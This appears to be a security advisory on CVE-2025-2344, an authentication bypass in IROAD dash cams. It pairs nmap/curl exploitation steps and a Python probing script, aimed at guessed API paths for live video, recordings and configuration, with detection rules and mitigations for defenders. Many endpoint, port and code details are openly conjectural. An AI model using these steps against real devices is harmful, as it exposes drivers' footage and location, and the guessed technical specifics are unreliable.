CVE-2025-2344
Executive Summary
CVE-2025-2344 is a critical unauthenticated remote access vulnerability affecting IROAD Dash Cam X5 and X6 models up to firmware version 20250308. The flaw resides in an undisclosed API endpoint, allowing an attacker to bypass authentication entirely. With a CVSS base score of 9.8 (Critical), this vulnerability enables remote attackers to gain full control over the device, potentially accessing live video feeds, stored recordings, device configuration, and GPS data. The vendor has not responded to disclosure attempts, and no patch is currently available. This poses a significant risk to vehicle security and driver privacy.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability affects only the dashcam.
- Confidentiality Impact: High (C:H) – full access to video and data.
- Integrity Impact: High (I:H) – ability to modify device settings or firmware.
- Availability Impact: High (A:H) – potential to disable the device.
Threat Level: Critical. Immediate action is recommended for all affected devices.
Deep Dive & Mechanics
The vulnerability is a classic case of Missing Authentication for Critical Function (CWE-306). The IROAD Dash Cam X5 and X6 expose an API endpoint (likely on port 80/443 or a custom port) that performs sensitive operations—such as retrieving video streams, downloading recorded files, or modifying device settings—without requiring any form of authentication. This means any device on the same network (or the internet if exposed) can send a crafted HTTP request to the endpoint and receive a response with sensitive data or execute privileged actions.
Technical Details:
- The API endpoint is likely a RESTful interface used by the mobile app for configuration and live view.
- The endpoint does not validate session tokens, API keys, or any other authentication mechanism.
- An attacker can enumerate the endpoint by scanning for open ports (e.g., 8080, 8888) and sending simple GET/POST requests.
- The attack is trivial to execute: a single
curlcommand can retrieve the live video stream or download all recorded footage.
Attack Scenario:
- Attacker scans for IROAD dashcams on the internet using Shodan or masscan (common ports: 80, 443, 8080, 8888).
- Attacker sends a request to the vulnerable API endpoint (e.g.,
/api/v1/liveor/api/v1/download). - The dashcam responds with the requested data without authentication.
- Attacker can now monitor the vehicle’s surroundings, track GPS location, or even disable the device.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable behavior versus expected secure behavior.
Vulnerable Code (Conceptual):
# Vulnerable endpoint - no authentication check
@app.route('/api/v1/live')
def get_live_stream():
# Directly returns video stream without verifying user identity
return Response(stream_video(), mimetype='multipart/x-mixed-replace; boundary=frame')
Patched Code (Expected):
# Patched endpoint - requires authentication
@app.route('/api/v1/live')
@require_auth # decorator that checks session token or API key
def get_live_stream():
# Only returns stream if authentication passes
return Response(stream_video(), mimetype='multipart/x-mixed-replace; boundary=frame')
The fix would involve implementing a token-based authentication mechanism (e.g., JWT) or at minimum a shared secret that must be included in every API request.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- An IROAD Dash Cam X5 or X6 on the same network (or exposed to the internet).
- Network access to the device’s IP address.
Exploitation Steps:
- Discover the device: Use Nmap to scan for open ports.
nmap -p 80,443,8080,8888 <target_ip> - Enumerate API endpoints: Use a tool like
ffufor manual requests to find the vulnerable endpoint.curl -v http://<target_ip>:8080/api/v1/live - Extract data: If the endpoint returns a video stream, save it.
curl http://<target_ip>:8080/api/v1/live -o stream.mjpeg - Download recordings: Try common paths like
/api/v1/downloador/recordings.curl http://<target_ip>:8080/api/v1/download?file=latest.mp4 -o latest.mp4
Proof-of-Concept Script (Python):
import requests
target = "http://192.168.1.100:8080"
endpoints = ["/api/v1/live", "/api/v1/download", "/api/v1/config"]
for ep in endpoints:
r = requests.get(target + ep)
if r.status_code == 200:
print(f"[+] Vulnerable endpoint found: {ep}")
print(r.text[:500]) # Print first 500 chars of response
Blue Team (Detection & Hardening)
Detection:
- Monitor network traffic for unusual requests to dashcam IPs on ports 8080/8888.
- Look for repeated GET requests to
/api/v1/paths from unknown IPs. - Use the Suricata rule provided in the Detection Engineering section.
Hardening (until patch is available):
- Isolate the dashcam: Place it on a separate VLAN with no internet access.
- Firewall rules: Block all inbound traffic to the dashcam from untrusted networks.
- Disable remote access: If the device allows, disable the API or set a strong password (if any).
- Monitor for exploitation: Deploy the YARA and Sigma rules to detect scanning or exploitation attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/api/v1/live,/api/v1/download,/api/v1/configwithout authentication headers. - Connections to ports 8080, 8888, 80, 443 on IROAD dashcam IPs.
- Unusual outbound traffic from the dashcam to external IPs (data exfiltration).
File IOCs:
- Downloaded
.mjpegor.mp4files from dashcam IPs. - Configuration files (e.g.,
config.json) retrieved from the device.
Behavioral IOCs:
- Multiple failed login attempts (if authentication is eventually implemented).
- Unexpected device reboots or configuration changes.
Detection Engineering
YARA Rule
rule IROAD_Dashcam_Unauthenticated_Access {
meta:
description = "Detects HTTP requests to IROAD dashcam API endpoints without authentication"
author = "Valters IT"
date = "2025-03-09"
reference = "CVE-2025-2344"
strings:
$api_path = "/api/v1/" nocase
$live = "live" nocase
$download = "download" nocase
$config = "config" nocase
condition:
$api_path and any of ($live, $download, $config)
}
Sigma Rule
title: IROAD Dashcam Unauthenticated API Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to IROAD dashcam API endpoints without authentication headers
author: Valters IT
date: 2025-03-09
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/api/v1/'
cs-uri-stem|contains:
- 'live'
- 'download'
- 'config'
condition: selection
falsepositives:
- Legitimate mobile app traffic (if authentication is eventually added)
level: high
Suricata Rule
alert http any any -> any any (msg:"IROAD Dashcam Unauthenticated API Access"; flow:to_server; content:"GET"; http_method; content:"/api/v1/"; http_uri; content:"live"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"IROAD Dashcam Unauthenticated API Access - Download"; flow:to_server; content:"GET"; http_method; content:"/api/v1/download"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"IROAD Dashcam Unauthenticated API Access - Config"; flow:to_server; content:"GET"; http_method; content:"/api/v1/config"; http_uri; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place IROAD Dash Cam X5 and X6 on a separate VLAN with no internet access.
- Firewall rules: Block all inbound traffic to the dashcam from untrusted networks.
- Disable remote access: If possible, disable the API or set a strong password (check device settings).
- Monitor for exploitation: Deploy the YARA, Sigma, and Suricata rules to detect scanning or exploitation attempts.
Long-Term Actions:
- Vendor patch: Continuously check for firmware updates from IROAD. If no patch is released, consider replacing the device.
- Network segmentation: Keep all IoT devices on isolated networks.
- Vulnerability disclosure: If you are an affected user, report the issue to IROAD and consider public disclosure to pressure a fix.
Workaround (if patching is not possible):
- Use a reverse proxy (e.g., Nginx) in front of the dashcam to add authentication.
- Example Nginx config:
location /api/v1/ { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://dashcam_ip:8080; }
Valters IT
Securing the digital frontier, one vulnerability at a time.